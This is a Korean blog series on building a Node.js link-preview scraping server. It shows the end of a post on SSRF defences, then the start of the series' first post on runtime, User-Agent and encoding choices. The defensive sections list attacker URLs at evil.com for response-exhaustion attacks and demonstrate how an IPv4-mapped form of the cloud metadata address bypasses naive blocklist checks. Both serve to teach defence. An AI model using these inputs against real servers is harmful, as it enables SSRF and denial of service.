        A1["① 스킴, 포트, 자격증명 검사<br/>파싱된 URL 객체를 본다"]
        A2["② IP 리터럴 판정<br/>lookup 훅이 돌지 않는 경로"]
        A3["③ 도메인 화이트리스트<br/>정책"]
        A4["④ DNS 해석 후 IP 대역 검사<br/>보안"]
        A5["⑤ 검사한 IP로 소켓 연결<br/>rebinding 차단"]
        A6["⑥ 리다이렉트마다 ①에서 ⑤까지 반복"]
        A1 --> A2 --> A3 --> A4 --> A5 --> A6
    end

    subgraph net["네트워크 계층"]
        N["⑦ 보안그룹 아웃바운드 차단<br/>코드가 뚫려도 남는다"]
    end

    U --> A1
    A6 --> N
```

## 화이트리스트를 IP로 할까 도메인으로 할까

여기서 흔한 오해를 하나 짚고 싶다. "IP 화이트리스트가 도메인보다 안전하다"는 말인데, 스크래핑에서는 그렇게 말하기 어렵다.

| 방식        | 장점                        | 실제 문제                                              |
| ----------- | --------------------------- | ------------------------------------------------------ |
| IP 기반     | 이름 조작에 영향받지 않는다 | 대상이 CDN 뒤에 있으면 그 CDN의 모든 사이트가 허용된다 |
| 도메인 기반 | 정책 표현이 정확하다        | 해석된 IP를 검사하지 않으면 의미가 없다                |

둘은 목적이 다르다. 어떤 사이트의 미리보기를 허용할 것인가는 **콘텐츠 정책**이고 도메인 화이트리스트가 표현한다. 내부망으로 나가지 못하게 하는 것은 **네트워크 보안**이고 IP 대역 차단과 egress 통제가 표현한다. 도메인 화이트리스트가 "특정 유형의 링크를 막는다"를 말한다면, IP 대역 차단은 "메타데이터를 못 읽는다"를 말한다. 서로를 대체하지 못하므로 둘 중 하나를 고르는 문제가 아니다.

## 잊기 쉬운 두 가지

### 응답 크기 상한

공격자가 이런 URL을 준다.

```text
https://evil.com/infinite   →  응답이 끝나지 않는다
https://evil.com/10gb.html  →  거대한 HTML
```

`.text()`나 `.body()`로 전부 읽으면 메모리가 버티지 못한다. 실제로 읽은 바이트를 세면서 끊어야 한다.

```ts
const MAX_BYTES = 512 * 1024 // og 태그는 <head>에 있다. 512KB면 충분하다

async function readCapped(body: Readable): Promise<Buffer> {
  const chunks: Buffer[] = []
  let total = 0

  for await (const chunk of body) {
    total += chunk.length
    if (total > MAX_BYTES) {
      body.destroy() // 소켓을 끊는다
      throw new BlockedError('RESPONSE_TOO_LARGE')
    }
    chunks.push(chunk)
  }
  return Buffer.concat(chunks)
}
```

`Content-Length` 헤더만 보고 판단하는 것으로는 부족한 이유가 셋이다. `Transfer-Encoding: chunked`면 헤더가 아예 없고, 헤더 값이 거짓일 수 있으며(상대 서버가 공격자의 것이다), 압축된 경우 헤더는 압축 크기라서 해제 후 크게 부풀 수 있다. 헤더 검사는 조기 차단용 보조 수단 정도로 두는 편이 안전하다.

### 타임아웃은 하나가 아니다

`timeout: 5000` 하나로 끝내면 원인 분류가 안 된다. 단계별로 나누는 편이 낫다.

```ts
new Agent({
  connectTimeout: 2_000, // TCP + TLS 핸드셰이크
  headersTimeout: 3_000, // 요청 후 응답 헤더까지
  bodyTimeout: 3_000, // 본문 청크 사이의 최대 간격
})

// 그리고 전체 상한을 따로 건다
request(url, {signal: AbortSignal.timeout(8_000)})
```

`bodyTimeout`은 응답 조각 사이의 간격이지 전체 시간이 아니다. 응답을 1바이트씩 아주 느리게 흘려 연결을 오래 붙잡는 방식(slowloris형)은 `bodyTimeout`만으로 막기 어려워서 전체 상한이 따로 필요하다.

그리고 이 전체 상한은 요청 하나가 아니라 리다이렉트 체인 전체에 하나만 건다. 앞의 `fetchGuarded`에서 루프 밖에 둔 `overall`이 그 역할이다. 홉마다 5초를 새로 주면 리다이렉트가 세 번 이어질 때 최악의 경우 20초까지 늘어난다.

## 체크리스트

| 항목                               | 막는 것                                 |
| ---------------------------------- | --------------------------------------- |
| 스킴을 http/https로 제한           | `file://`, `gopher://`                  |
| 포트를 80/443으로 제한             | 내부 서비스 직접 접근                   |
| URL 자격증명 거부                  | `user@host` 파서 혼동                   |
| 도메인 화이트리스트                | 콘텐츠 정책                             |
| **IP 리터럴 판정 (대괄호 벗기고)** | `lookup` 훅이 돌지 않는 경로            |
| DNS 해석 IP 대역 검사              | 사설망, 메타데이터                      |
| IPv4-mapped와 NAT64                | `::ffff:a9fe:a9fe` (손으로 벗기지 않기) |
| 검사한 IP로 연결                   | DNS rebinding                           |
| 리다이렉트 홉별 재검증             | open redirect 경유                      |
| 응답 크기 상한                     | 메모리 고갈                             |
| 단계별 타임아웃과 전체 상한        | slowloris                               |
| 보안그룹 아웃바운드 차단           | 위가 전부 뚫렸을 때                     |
| IMDSv2 강제, hop limit 1           | 크레덴셜 탈취                           |
| 요청자별 rate limit과 인증         | 우리 서버가 익명 프록시로 악용되는 것   |

## 돌려보고 나서 고친 것들

글을 쓰면서 그럴듯하게 적어둔 것 중 네 개가 실제로 돌려보니 틀렸고, 그중 세 개가 이 편에 있었다.

| 처음에 쓴 것                         | 돌려본 결과                                                           |
| ------------------------------------ | --------------------------------------------------------------------- |
| lookup 훅에서 주소를 하나만 돌려준다 | 첫 요청부터 죽는다. undici는 `{ all: true }`로 부르고 배열을 기대한다 |
| `::ffff:`를 손으로 벗겨 검사한다     | 16진 표기에서 뚫린다. `BlockList`에 그대로 넘겨야 한다                |
| `maxRedirections: 3`으로 제한한다    | undici 8에서 예외다. redirect 인터셉터를 써야 한다                    |

여기에 더해, 글을 다 쓰고 나서 확인차 돌려보다가 `lookup` 훅이 IP 리터럴에서 호출되지 않는다는 것을 알게 됐다. 이 편에서 가장 중요한 장치로 세워둔 것이었는데, 그 장치가 안 도는 경로가 있다는 것을 코드를 돌리기 전에는 몰랐다.

그럴듯한 보안 코드와 실제로 동작하는 보안 코드는 다르고, 그 차이는 대체로 돌려봤는가에서 온다고 생각한다.

앞에서 "손으로 벗기면 16진 표기에서 뚫린다"고 한 대목은 직접 돌려서 확인할 수 있다. `169.254.0.0/16`(메타데이터 대역)을 막아 두고, IPv4-mapped 주소를 손으로 벗겨 검사하는 방식과 `BlockList`에 그대로 넘기는 방식을 나란히 세워 보면 된다.

```ts
import {BlockList, isIPv4} from 'node:net'

const blocked = new BlockList()
blocked.addSubnet('169.254.0.0', 16, 'ipv4')

// ::ffff:a9fe:a9fe 는 169.254.169.254 를 가리키는 IPv4-mapped 주소다
const mapped = '::ffff:a9fe:a9fe'

// 방식 A: '::ffff:' 접두어를 손으로 벗겨서 검사한다
const prefix = '::ffff:'
const stripped = mapped.startsWith(prefix)
  ? mapped.slice(prefix.length)
  : mapped
const passesA = !blocked.check(stripped, isIPv4(stripped) ? 'ipv4' : 'ipv6')

// 방식 B: 벗기지 않고 원문 그대로 BlockList에 넘긴다
const passesB = !blocked.check(mapped, isIPv4(mapped) ? 'ipv4' : 'ipv6')

console.log('손으로 벗김:', passesA) // true → 통과시킨다. 취약하다
console.log('그대로     :', passesB) // false → 막는다. 안전하다
```

`a9fe:a9fe`는 16진수라 문자열을 벗겨 `isIPv4`에 넣으면 IPv4로 인식되지 않고, 그 틈으로 메타데이터 주소가 화이트리스트를 통과한다. `BlockList`는 IPv4-mapped를 알아서 IPv4로 보고 막는다. 그러니 벗기지 않는 쪽이 옳다.

## 정리: 여섯 우회는 다섯 원리로 닫힌다

이 편은 하나의 순서로 짜여 있다. 먼저 화이트리스트를 뚫는 여섯 가지 우회를 보고, 그다음 그것을 관통하는 방어 원리 다섯 개로 닫았다. 둘을 마주 놓으면 이렇게 대응한다.

| 우회                              | 무엇으로 막는가                                                        |
| --------------------------------- | ---------------------------------------------------------------------- |
| IP 표기 변형, DNS로 사설 IP, IPv6 | 이름이 아니라 **DNS가 해석한 주소**를 검증한다 (원리 1)                |
| DNS rebinding                     | 검증한 **그 주소로 직접 연결**한다 (원리 2)                            |
| 리다이렉트로 우회                 | 홉마다 원리 1과 2를 **처음부터 다시** 한다 (원리 3)                    |
| 검증한 값과 요청하는 값이 다름    | 한 번 파싱한 객체만 쓰고 **스킴과 포트도 잠근다** (원리 4)             |
| 위가 전부 뚫렸을 때               | 애플리케이션 방어를 **믿지 않는다**. 아웃바운드 차단과 IMDSv2 (원리 5) |

이 표가 이 편의 요지다. 화이트리스트를 걸었다는 사실 자체는 아무것도 보장하지 않는다. 어떤 우회를 막는지 한 줄씩 말할 수 있는 방어만 방어이고, 그렇게 말할 수 있으려면 결국 돌려봐야 한다. 실제로 돌려보니 처음에 그럴듯하게 적어둔 네 가지가 틀렸다는 것도 그래서 알게 됐다.

여기까지가 남의 URL을 서버가 대신 여는 일을 안전하게 만드는 법이었다. 같은 기능을 이번엔 빠르고 정확하게 만드는 쪽, 그러니까 에러율과 지연을 낮추는 이야기는 [1편](/2026/08/og-scraping-server-1)에 있다.

## 참고

- [OWASP, Server Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [AWS, Use IMDSv2 (EC2 User Guide)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
- [Node.js net.BlockList](https://nodejs.org/api/net.html#class-netblocklist)
- [undici Dispatcher / Agent 문서](https://undici.nodejs.org/#/docs/api/Agent)
- [WHATWG URL Standard, Host parsing](https://url.spec.whatwg.org/#host-parsing)
- [IANA IPv6 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv6-special-registry/iana-ipv6-special-registry.xhtml)
- RFC 1918 (사설 주소), RFC 6598 (CGNAT), RFC 4193 (IPv6 ULA), RFC 6052 / RFC 8215 (NAT64)

---

Source: https://yceffort.kr/2026/08/og-scraping-server-1.md
Title: <em>OG 스크래핑 서버</em>를 Node.js로 짓는다면 (1): 런타임 선택부터 에러율과 지연까지
Description: 링크 미리보기 서버의 "에러율 10%"는 성질이 다른 다섯 종류의 실패가 뭉친 숫자다. 이 워크로드가 왜 I/O 바운드에 저 TPS인지, 런타임 선택이 실제로 갈리는 네 지점은 어디인지 따져본 뒤, User-Agent와 인코딩으로 에러율을 낮추는 일로 넘어간다. Node 내장 TextDecoder는 CP949 확장 문자를 에러 없이 다른 글자로 바꾸고, 스크랩해 온 og:title은 API 응답이 아니라 사용자 입력이다. 캐시 스탬피드와 negative caching, 그리고 "P95 1초 미만"을 캐시 히트율에서 역산해 검증하는 200만 건 시뮬레이션까지 담았다. OG 스크래핑 서버 설계 노트 2부작의 첫 편이다.
Date: 2026-08-22
Tags: nodejs, web, scraping, architecture, caching, encoding, deep-dive
Series: OG 스크래핑 서버 설계 노트

## Table of Contents

## 데모에서는 동작하는 세 줄

링크 미리보기는 명세만 보면 아주 단순한 기능이다. 사용자가 URL을 붙여넣으면 그 페이지의 제목과 이미지를 카드로 보여주면 된다. 코드로 옮기면 세 줄이다.

```ts
const html = await fetch(url).then((r) => r.text())
const $ = cheerio.load(html)
const title = $('meta[property="og:title"]').attr('content')
```

이 세 줄은 실제로 동작한다. 자기 블로그로 시험해 보면 제목이 잘 나온다. 문제는 이 코드가 프로덕션에 올라간 다음에 생긴다. 어느 시간대에는 실패율이 10%를 넘고, 원인을 물으면 "외부 사이트가 이상해서요"라는 답이 돌아오며, 개선안으로는 늘 "캐시를 넣죠"가 나온다. 그리고 캐시를 넣어도 숫자가 잘 안 움직인다.

이 시리즈는 그 세 줄이 무너지는 지점들을 순서대로 따라가 보는 설계 노트다. 사용법보다는 왜 그렇게 설계하게 되는지에 무게를 두었고, 특히 보안은 "이렇게 막으세요"보다 "어떻게 뚫리는가"를 먼저 보는 순서로 잡았다. 어떤 우회를 막는지 모르는 방어 코드는 방어라기보다 선언에 가깝다.

> 이 글에 나오는 상황 설정(에러율 10%, 일 5,000건, 팀 구성)은 논의를 위한 예시 시나리오다. 특정 서비스의 실제 지표가 아니다. 반면 코드의 동작을 확인한 대목은 전부 직접 돌려본 결과이고, 그런 대목에는 검증 환경을 따로 밝혀두었다. 이 시리즈의 실측 환경은 macOS(darwin 25.5.0), Node.js `v24.14.1`, undici `8.10.0`, htmlparser2 `12.0.0`, iconv-lite다.

## 상대가 우리 편이 아니다

세 줄이 무너지는 첫 번째 이유는 통신 상대의 성격에 있다.

우리가 평소에 짜는 대부분의 코드는 우리가 만든 서버, 혹은 최소한 계약이 있는 서버와 통신한다. 응답 형식이 바뀌면 통보를 받고, 느려지면 항의할 창구가 있고, 장애가 나면 같이 대응한다. 스크래핑은 그 전제가 전부 없는 통신이다.

응답이 느려도 항의할 곳이 없고, 우리를 봇으로 판단해 차단해도 마찬가지다. HTML이 규격에 안 맞아도 고쳐달라고 할 수 없고, 내일 갑자기 구조가 바뀌어도 통보받지 못한다. 외부 의존성 중에서도 통제력이 가장 낮은 종류에 속한다.

그래서 실패가 잦은데, 겉으로 보이는 실패의 얼굴이 하나가 아니다.

| 실패        | 겉으로 보이는 것       | 실제 원인            |
| ----------- | ---------------------- | -------------------- |
| 봇 차단     | `403 Forbidden`        | User-Agent 기반 차단 |
| 로그인 벽   | `200`인데 og 태그 없음 | 인증 요구            |
| 타임아웃    | 응답 없음              | 상대 서버 지연       |
| 인코딩 깨짐 | 제목이 `���`           | EUC-KR/CP949         |
| 리다이렉트  | `301`에서 멈춤         | 자동 추적 미구현     |

이 다섯이 대시보드에서는 "에러율 10%"라는 하나의 숫자로 뭉쳐 보인다. 그리고 다섯 중 인코딩 깨짐에는 더 조용한 변종이 있다. 제목이 깨진 글자로 바뀌는 것이 아니라 **멀쩡해 보이는 다른 글자로 바뀌는** 경우인데, 이건 200 응답에 og 태그도 정상이고 값만 틀리기 때문에 에러율에 아예 잡히지 않는다. 이 종류가 왜 특히 곤란한지는 이 글 뒷부분의 인코딩 절에서 실측과 함께 다룬다.

## 증상과 원인을 구분하기

여기서 이 시리즈 전체에 걸리는 첫 번째 전제가 나온다. **"에러율이 높다"는 증상이지 원인이 아니다.** 원인을 분류하지 않고 해법을 고르면 빗나가기 쉽고, 스크래핑에서 가장 흔한 오진이 "에러율이 높다, 그러니 캐시를 넣자"다.

캐시가 줄여주는 것은 같은 URL의 반복 요청이다. 앞의 다섯 실패에 하나씩 대보면 효과가 고르지 않다.

| 실패 원인                              | 캐시의 효과                             |
| -------------------------------------- | --------------------------------------- |
| 같은 URL 반복 요청으로 인한 rate limit | 크다                                    |
| User-Agent 봇 차단                     | 거의 없다. 캐시 미스마다 여전히 403이다 |
| 로그인 벽                              | 없다                                    |
| 타임아웃                               | 없다. 처음 보는 URL은 언제나 미스다     |
| 인코딩 실패                            | 없다                                    |

실패의 대부분이 아래 네 줄에 몰려 있는 상황이라면, 캐시를 넣어도 숫자는 거의 그대로 남을 가능성이 높다. 캐시가 쓸모없다는 뜻이 아니라, 캐시가 고치는 문제와 지금 겪는 문제가 같은 것인지 먼저 확인해야 한다는 뜻이다. 캐시 자체는 이 글 뒷부분에서 스탬피드까지 포함해 따로 다룬다.

그래서 코드를 고치기 전에 할 일은 측정이다. 거창할 필요는 없고 실패 지점에 로그 한 줄이면 시작할 수 있다.

```ts
logger.warn('og_scrape_failed', {
  reason, // FORBIDDEN | TIMEOUT | DECODE_FAIL | NO_OG_TAG | ...
  statusCode,
  host: url.hostname, // 전체 URL이 아니라 호스트만 남긴다
  elapsedMs,
})
```

전체 URL 대신 호스트만 남긴 것은 의도적이다. 사용자가 붙여넣은 URL에는 경로와 쿼리에 개인정보나 인증 토큰이 실려 있을 수 있고, 그것이 로그 저장소로 넘어가면 그 저장소의 접근 권한이 곧 개인정보 접근 권한이 된다. 원인 분류에는 호스트만으로 충분하다.

이 로그를 하루치만 모아도 실패의 원인별 비율과, 실패가 몇 개 도메인에 몰려 있는지가 나온다. 경험적으로 후자는 상위 몇 개 도메인이 절반 이상을 차지하는 경우가 많다. 이 두 숫자가 없으면 어떤 개선 목표를 세워도 근거를 붙이기 어렵다.

## 이 워크로드의 모양

측정을 시작했다고 치고, 이제 런타임 이야기로 넘어가려면 이 워크로드가 어떤 모양인지부터 정해야 한다. 한 번의 스크래핑에서 시간이 어디로 가는지 갈라보면 대략 이렇게 나뉜다.

```mermaid
pie showData
    title 한 번의 스크래핑에서 시간이 가는 곳 (ms)
    "응답 대기 - 네트워크" : 300
    "TCP + TLS - 네트워크" : 50
    "본문 수신 - 네트워크" : 50
    "DNS 조회 - 네트워크" : 10
    "HTML 파싱 - CPU" : 5
    "요청 전송 - 네트워크" : 1
    "og 태그 추출 - CPU" : 1
```

네트워크를 기다리는 시간이 411ms, CPU를 쓰는 시간이 6ms 남짓이다. 대략 98% 대 2%다. 절대값은 대상 사이트에 따라 크게 흔들리지만 이 비율의 자릿수는 잘 안 바뀐다. 시간의 대부분이 남의 서버를 기다리는 데 들어가는, 전형적인 I/O 바운드 워크로드다.

규모도 같이 봐야 한다. 링크 미리보기는 대개 트래픽이 작은 기능이다. 일 5,000건이라고 가정하면,

```text
5,000 / 86,400초 ≈ 0.06 TPS
피크를 평균의 10배로 잡아도 1 TPS 미만
```

이 숫자는 뒤에서 "서버를 따로 둘 근거가 있는가"를 따질 때 다시 쓰인다. 작은 트래픽에 큰 인프라를 붙이는 것도 설계 실패의 한 종류이고, 규모를 모르면 그게 과설계인지 아닌지 판단할 방법이 없다.

## 도움이 안 되는 주장 두 개

런타임 이야기를 시작하면 거의 항상 두 개의 주장이 먼저 나온다. 둘 다 결론을 정해두고 붙인 근거에 가깝다.

첫 번째는 이쪽이다.

> "스크래핑은 I/O 바운드니까 비동기에 강한 Node.js가 유리하다"

이건 근거가 되기 어렵다. JVM에도 논블로킹 I/O 스택이 있고(Netty, WebClient, 코루틴), Go나 Rust는 말할 것도 없다. 애초에 1 TPS 남짓한 부하에서는 스레드 풀 기반 블로킹 I/O로도 아무 문제가 없다. "비동기라서 유리하다"는 2010년대 초반에나 통하던 이야기고, 지금은 어느 런타임이든 한다.

두 번째는 반대편이다.

> "팀에 그 런타임 운영 노하우가 없으니 쓰면 안 된다"

이 주장의 문제는 한쪽에만 적용된다는 것이다. Node를 빼자고 할 때는 "프론트엔드 팀에 Node 서버 운영 경험이 없다"를 드는데, 그 대안이 "프론트엔드가 JVM 서버 저장소에 기여한다"라면 프론트엔드의 JVM 경험 부족도 같은 무게로 계산되어야 한다. 한쪽에만 적용되는 기준은 기준이라기보다 결론에 가깝다.

운영 경험이 중요하지 않다는 말은 아니다. 뒤에서 보겠지만 그건 실제로 가장 중요한 조건 중 하나다. 다만 그것을 한쪽에만 붙이면 비교가 되지 않는다.

이 두 주장을 치우고 나면 남는 지점이 보인다.

## 실제로 갈리는 네 지점

정리해 보면 네 개다. 소켓 직전까지의 통제권, 망가진 HTML을 브라우저처럼 파싱하는가, 인코딩, 그리고 누가 이 코드를 소유하는가. 세 번째는 Node가 불리한 항목인데 일부러 넣어두었다. 자기 편만 세는 비교는 신뢰하기 어렵다.

### 소켓 직전까지의 통제권

이 항목은 [2편](/2026/08/og-scraping-server-2) 전체가 그 이유를 설명하는 자리라, 여기서는 결론만 미리 적는다. 사용자가 준 URL을 서버가 대신 여는 기능에서 SSRF 방어의 핵심은 이렇게 요약된다.

> DNS가 해석한 IP를 우리가 검사하고, 그 검사한 IP로 직접 연결해야 한다.

대부분의 HTTP 클라이언트는 "이름을 주면 알아서 연결해 주는" 추상화라, 이 사이에 끼어들 틈을 주지 않는다. Node의 `undici`는 그 틈을 열어둔다.

```ts
new Agent({
  connect: {
    lookup(hostname, options, callback) {
      // 이 함수가 반환하는 주소로 소켓이 연결된다
    },
  },
})
```

JVM에서 같은 일을 하려면 보통 커스텀 DNS 리졸버를 구현해 HTTP 클라이언트에 주입하거나, 네트워크 계층에서 우회하거나, egress 프록시를 세워 강제하는 쪽으로 간다. 불가능한 일은 아니다. 다만 "함수 하나를 넘기면 된다"와는 난이도가 다르고, 이 난이도 차이가 실제로는 구현 여부를 가르는 경우가 많다. 보안 통제를 애플리케이션 코드로 표현할 수 있느냐가 중요한 이유는, 어려우면 결국 안 하게 되기 때문이다.

덧붙여, 2편에서 이 `lookup` 훅이 만능이 아니라는 것도 실측으로 확인하게 된다. 훅이 아예 호출되지 않는 경로가 있다.

### 망가진 HTML

스크래핑 대상의 HTML은 대체로 규격에 맞지 않는다.

```html
<meta property="og:title" content="제목 />
<!-- 닫는 따옴표가 없다 -->
<meta property="og:image" content="/hero.png" />
<head>
  <p>head 안에 있으면 안 되는 태그</p>
</head>
```

브라우저는 이런 문서도 정해진 규칙에 따라 복구해서 파싱한다. 그 규칙이 [WHATWG HTML 파싱 알고리즘](https://html.spec.whatwg.org/multipage/parsing.html)이고, `parse5`가 그 표준을 그대로 옮긴 구현이다. 어느 런타임에나 HTML 파서는 있지만, 표준의 오류 복구 규칙까지 따라가는 파서가 기본 선택지로 놓여 있는지는 생태계마다 차이가 있다.

여기서 정규식으로 og 태그를 뽑는 코드를 꽤 자주 보게 되는데, 위 같은 HTML에서 조용히 틀린 값을 낸다. 조용하다는 게 핵심이다. 예외가 나면 알아채기라도 하는데, 값만 틀리면 알 방법이 없다.

### 인코딩

여기는 Node가 불리한 자리다.

한국어 사이트에는 아직도 EUC-KR과 CP949가 남아 있다. JVM에는 CP949 디코더가 표준 JDK 안에 들어 있다.

```java
new String(bytes, Charset.forName("x-windows-949"))  // 확장 문자까지 정상
```

엄밀히는 `jdk.charsets` 모듈에 들어 있어서, jlink로 런타임을 최소화해 배포하면 이 모듈이 빠져 실패할 수 있다(`--add-modules jdk.charsets`로 넣는다). 그래도 의존성을 추가할 일은 아니다.

반면 Node의 내장 `TextDecoder`는 이 자리에서 조용히 실패한다.

```ts
new TextDecoder('euc-kr').decode(bytes) // CP949 확장 문자가 깨진다
```

실제로 돌려보면 `똠`이 `c`가 되고 `꼃`이 `X`가 된다. 예외도 없고 치환 문자도 아니고, 그냥 다른 글자가 된다. 실측 표와 이유는 뒤의 인코딩 절에 있고, 결론은 `iconv-lite` 의존성이 사실상 필수라는 것이다.

이건 Node의 단점이 맞고, 감출 이유도 없다. 다만 의존성 하나로 해결되고, 순수 JS 구현이라 네이티브 빌드 부담도 없다는 점은 같이 적어둘 만하다.

### 누가 소유하는가

링크 미리보기는 기능 명세가 UI에 붙어 있는 종류다. 제목이 몇 자에서 잘리는가, 이미지가 없을 때 무엇을 보여주는가, `og:title`이 없으면 `<title>`로 대체하는가, 도메인 이름을 카드에 노출하는가. 이 결정들은 대체로 프론트엔드에서 난다.

변경 주도권이 프론트엔드에 있는 코드를 백엔드 저장소에 두면, 문구 하나 바꾸는 일에도 두 팀의 일정이 맞아야 한다. 기술적인 이유는 아니지만 실제로 가장 자주 비용이 나가는 부분이라고 생각한다.

## 고르지 말아야 할 조건

네 지점을 다 세고 나면 Node 쪽으로 기우는 것처럼 보이는데, 반대 방향의 조건도 같은 무게로 적어야 비교가 된다. 아래 중 여럿이 겹치면 Node를 고르지 않는 편이 낫다고 본다.

| 조건                          | 이유                                             |
| ----------------------------- | ------------------------------------------------ |
| 사내 표준 런타임이 JVM 하나뿐 | 배포, 시크릿, 로깅 파이프라인을 새로 뚫어야 한다 |
| 온콜 주체가 백엔드 조직       | 새벽에 깨는 사람이 못 읽는 코드가 된다           |
| APM과 모니터링이 JVM 전용     | 대시보드와 알람을 이중으로 관리하게 된다         |
| 보안 검토가 언어별로 나뉨     | 새 언어는 검토 주기가 처음부터 시작된다          |
| 트래픽이 1 TPS 미만           | 런타임 이전에 서버를 따로 둘 근거가 약하다       |

마지막 줄은 조금 더 풀어 쓸 가치가 있다. 앞에서 계산한 0.06 TPS를 놓고, 서버 분리의 흔한 근거들을 하나씩 대보면 이렇게 된다.

"스크래핑 CPU가 이벤트 루프를 막는다"는 걱정은 초당 0.06회의 5ms 파싱을 뜻하므로 점유율이 0.03% 수준이라 맞지 않는 걱정이다. "모니터링을 분리해야 한다"는 라우트별 메트릭 레이블로 해결되는 경우가 많아서 서버를 나눌 이유까지는 안 된다. "장애 격리가 필요하다"는 맞는 이야기인데, 다만 타임아웃과 서킷 브레이커만으로도 상당 부분 확보된다.

그래서 이 규모에서 서버를 나눌 만한 이유로 남는 것은 대개 조직적인 쪽이다. 그리고 그건 부끄러운 이유가 아니다. 누가 소유하고 누가 당직을 서는가는 실제 운영 비용을 결정하는 조건이지, 기술적인 이유를 대신하는 말이 아니다. 다만 그것을 성능 문제인 척 포장하지만 않으면 된다.

정리하면 이런 판단표가 나온다.

| 상황                                                                         | 권장                  |
| ---------------------------------------------------------------------------- | --------------------- |
| 프론트엔드가 소유, 사내에 Node 인프라 있음, SSRF 통제를 코드로 표현하고 싶음 | Node                  |
| 사내 표준이 JVM, 온콜이 백엔드, 트래픽 작음                                  | 기존 백엔드 서버 안에 |
| 트래픽 극소, 이미 Next.js가 있음, 보안 요구 낮음                             | 분리하지 않기         |
| 초당 수백 건, 지연에 민감                                                    | Go나 Rust도 검토      |

이 표에서 하고 싶은 말은 Node가 우월하다는 쪽이 아니라, 첫 줄의 조건에 해당할 때 고르는 선택지라는 쪽이다.

## 여기서부터는 되게 만드는 쪽이다

여기까지로 무엇을 짜야 하는지는 꽤 좁혀졌다. "에러율 10%"가 성질이 다른 다섯 종류의 실패였다는 것, 캐시는 그중 일부만 고친다는 것, 이 워크로드가 I/O 바운드에 저 TPS라는 것, 런타임이 갈리는 지점이 네 개라는 것까지 왔다.

네 지점 중 첫 번째로 꼽은 "소켓 직전까지의 통제권"이 왜 필요한지는 이 글에서 다루지 않는다. [2편](/2026/08/og-scraping-server-2)이 통째로 그 자리다. 사용자가 준 URL을 서버가 대신 여는 일이 왜 그렇게 위험한지, 화이트리스트로 막았다고 믿는 코드가 어떤 여섯 가지 방법으로 뚫리는지, 그리고 그것을 막는 코드를 실제로 돌려보면 무엇이 틀렸는지를 다룬다.

이 글의 나머지는 뚫리지 않는 법이 아니라 되게 만드는 법이다. 앞에서 실패 원인을 분류하라고 했으니, 실제로 분류했다고 치고 시작한다. 그렇게 나눠보면 403이 압도적인 비중을 차지하는 경우가 많다.

## User-Agent가 에러율을 가른다

많은 사이트가 미리보기 봇에만 OG 태그를 내준다. 이런 이름들이다.

```text
facebookexternalhit/1.1
Twitterbot/1.0
Slackbot-LinkExpanding 1.0
Discordbot/2.0
```

`undici`나 `node-fetch`의 기본 User-Agent로 요청하면 차단 대상이 되는 경우가 많다. 그래서 남의 UA를 쓸 것인가 하는 질문이 바로 따라오는데, 트레이드오프를 정직하게 적으면 이렇게 된다.

| 선택                       | 얻는 것                                  | 잃는 것                                          |
| -------------------------- | ---------------------------------------- | ------------------------------------------------ |
| `facebookexternalhit` 사칭 | 성공률이 크게 오른다                     | 신원 위조다. 상대가 차단 정책을 바꿀 근거를 준다 |
| 자체 UA에 연락처 명시      | 정직하고, 문제가 생기면 연락받을 수 있다 | 초기 성공률이 낮다                               |

권하고 싶은 쪽은 자체 UA에 연락처를 넣는 것이다.

```text
MyPreviewBot/1.0 (+https://example.com/bot)
```

성공률이 문제라면 차단하는 상위 도메인을 목록으로 뽑아 개별 대응하는 편이, 전면 사칭보다 되돌리기 쉽다. 사칭은 한 번 시작하면 중단하기 어려운 결정이다.

robots.txt를 지켜야 하는지는 기술 문제라기보다 정책 문제다. 정답이 없다는 것을 인정하고 시작하는 편이 낫다. 크롤링이 아니라는 쪽의 이야기는 사용자가 명시적으로 붙여넣은 단일 URL 한 건을 가져오는 것이고 링크를 따라 순회하지 않으니 브라우저의 동작에 가깝다는 것이다. 크롤링이라는 쪽의 이야기는 사람이 아니라 서버가 자동으로 요청한다는 것이고, 그게 봇의 정의라는 것이다.

실무 관행은 갈리는데, 최소한 지킬 만한 선은 이 정도라고 본다. 같은 도메인에 동시 요청은 1건으로 제한하고 초당 요청 상한을 두는 것, 실패한 도메인에 재시도를 반복하지 않는 것(뒤에서 볼 negative caching이 여기서도 쓰인다), 그리고 조직 차원의 정책으로 문서화하는 것이다.

이건 상대를 보호하는 상한이다. 우리 쪽에도 상한이 필요한데, 아무 URL이나 대신 열어주는 창구를 인증이나 쿼터 없이 열어두면 제3자 공격의 경유지나 신원 세탁 통로가 되기 때문이다. 요청하는 쪽에도 rate limit을 건다.

## 인코딩, 한국어 사이트의 현실

아직도 EUC-KR과 CP949로 서비스되는 사이트가 있다. 공공기관, 오래된 언론사, 커뮤니티에 특히 많다.

```ts
const html = buffer.toString('utf-8') // EUC-KR이면 전부 깨진다
```

`Buffer.toString()`의 기본값이 UTF-8이라, 이 한 줄이 조용히 실패한다. 그리고 깨진 제목은 에러로 잡히지 않는다. 200 응답에 og 태그도 있고 값만 `���`이다.

인코딩을 결정하는 표준 순서가 [WHATWG HTML Standard](https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding)에 정의되어 있다. 눈여겨볼 점은 **감지가 맨 마지막**이라는 것이다.

| 순위 | 근거                          | 이유                                   |
| ---- | ----------------------------- | -------------------------------------- |
| 1    | BOM                           | 바이트로 박혀 있다. 모든 선언을 덮는다 |
| 2    | HTTP `Content-Type`의 charset | 전송 계층의 선언                       |
| 3    | `<meta charset>` 미리 훑기    | 문서 자신의 선언 (앞 1024바이트)       |
| 4    | 휴리스틱 감지나 기본값        | 추론이라 틀릴 수 있다                  |

`jschardet` 같은 감지 라이브러리를 1순위에 두는 코드를 종종 보는데, 순서가 뒤집힌 셈이다. 명시적인 선언이 있는데 추측할 이유는 없다.

코드로 옮기면 이렇게 된다.

```ts
function resolveCharset(head: Buffer, contentType?: string): string {
  // 1. BOM
  if (head[0] === 0xef && head[1] === 0xbb && head[2] === 0xbf) return 'utf-8'
  if (head[0] === 0xfe && head[1] === 0xff) return 'utf-16be'
  if (head[0] === 0xff && head[1] === 0xfe) return 'utf-16le'

  // 2. HTTP 헤더
  const fromHeader = contentType?.match(/charset\s*=\s*"?([\w-]+)/i)?.[1]
  if (fromHeader) return fromHeader.toLowerCase()

  // 3. 앞 1024바이트를 latin1로 훑는다
